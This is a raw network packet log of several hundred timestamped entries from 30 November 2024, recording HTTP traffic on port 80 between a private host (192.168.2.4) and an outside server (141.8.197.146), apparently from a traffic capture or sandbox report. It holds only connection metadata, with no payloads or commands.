Nov 30, 2024 05:00:11.563504934 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.563612938 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.563680887 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.564737082 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.564866066 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.564894915 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.565947056 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.566004992 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.566059113 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.567164898 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.567271948 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.567282915 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.568414927 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.568479061 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.568562984 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.569612026 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.569655895 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.569725990 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.570832968 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.570878983 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.570925951 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.572073936 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.572189093 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.572257996 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.573272943 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.573395014 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.573463917 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.574523926 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.574599981 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.574634075 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.575725079 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.575838089 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.575911045 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.576956987 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.577023983 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.577059984 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.578180075 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.578279018 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.578337908 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.579382896 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.579437971 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.579442978 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.580607891 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.580741882 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.580817938 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.581842899 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.581923008 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.581959963 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.583051920 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.583110094 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.583146095 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.584285021 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.584367990 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.584393978 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.585508108 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.585612059 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.585665941 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.586714029 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.586779118 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.586816072 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.587980986 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.588047981 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.588080883 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.589165926 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.589241982 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.589272976 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.590387106 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.590452909 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.590507030 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.591631889 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.591697931 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.591736078 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.592849016 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.592952013 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.592957020 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.594070911 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.594151020 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.594180107 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.595263004 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.595350027 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.595386028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.596517086 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.596591949 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.596618891 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.597743988 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.597781897 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.597839117 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.599015951 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.599051952 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.599062920 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.600186110 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.600263119 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.600292921 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.601396084 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.601433992 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.601505041 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.602613926 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.602714062 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.602720976 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.603846073 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.603892088 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.603939056 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.605093956 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.605197906 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.605211973 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.606287956 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.606395006 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.606403112 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.607462883 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.607522964 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.607641935 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.610620022 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.610749006 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.610799074 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.611243010 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.611372948 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.611707926 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.612499952 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.612579107 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.612644911 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.613691092 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.613817930 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.613873959 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.614926100 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.615041971 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.615180969 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.616157055 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.616267920 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.616360903 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.617383003 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.617530107 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.617655039 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.628088951 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.752783060 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.752911091 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.753002882 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.753370047 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.753489017 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.754584074 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.754635096 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.754698992 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.754771948 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.755774975 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.756189108 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.756306887 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.756364107 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.757425070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.757496119 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.757518053 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.758644104 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.758764982 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.758826017 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.759898901 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.760005951 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.760020018 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.761107922 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.761176109 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.761235952 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.762356043 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.762408972 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.762461901 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.763632059 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.763695955 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.763771057 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.764789104 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.764854908 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.764858961 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.765985966 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.766105890 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.766138077 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.767215014 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.767282963 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.767318964 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.768420935 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.768538952 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.768573999 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.769659042 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.769712925 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.769731045 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.770875931 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.770989895 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.771028042 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.772098064 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.772166967 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.772196054 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.773304939 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.773359060 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.773412943 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.774565935 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.774611950 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.774873018 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.775764942 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.775880098 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.775922060 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.776992083 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.777051926 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.777090073 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.778198004 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.778244019 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.778301001 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.779416084 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.779525042 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.779571056 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.780668020 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.780745983 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.780764103 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.781862020 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.781976938 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.782018900 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.783096075 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.783188105 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.783219099 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.784307957 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.784423113 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.784483910 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.785546064 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.785590887 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.785653114 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.786768913 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.786874056 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.786876917 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.788012028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.788117886 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.788145065 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.789200068 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.789290905 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.789310932 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.790431023 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.790488005 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.790518999 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.791663885 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.791749001 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.791774988 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.792869091 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.792980909 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.793003082 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.794095993 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.794179916 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.794208050 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.795322895 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.795372009 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.795428991 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.796540022 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.796643019 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.796706915 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.797755957 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.797805071 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.797841072 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.798996925 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.799089909 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.799170971 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.800218105 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.800328016 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.800425053 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.801424026 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.801476955 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.801541090 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.802681923 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.802730083 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.802826881 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.803886890 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.803937912 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.804024935 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.805135965 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.805181026 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.805185080 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.806313992 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.806356907 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.806447029 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.807529926 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.807590961 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.807641029 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.808722973 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.808770895 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.829008102 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.829113007 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.829168081 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.829339981 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.829442978 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.829906940 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.830560923 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.830666065 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.830737114 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.831782103 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.831883907 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.831999063 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.833029985 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.833137989 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.833234072 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.834203959 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.834326982 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.834409952 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.835432053 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.835539103 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.835585117 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.836618900 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.883480072 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.954026937 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.954118013 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.954386950 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.954643965 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.954757929 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.955121994 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.955893993 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.955991030 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.956626892 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.957046032 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.957484961 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.957529068 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.957596064 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.958713055 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.958820105 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.958847046 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.959939957 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.959995985 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.960062027 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.961141109 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.961224079 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.961247921 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.962372065 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.962434053 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.962471962 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.963583946 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.963665962 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.963682890 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.964802980 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.964920998 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.964988947 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.966028929 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.966114998 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.966145992 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.967237949 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.967298031 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.967335939 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.968481064 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.968533039 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.968616009 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.969698906 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:11.969758987 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:11.969815969 CET	80	49732	141.8.197.146	192.168.2.4
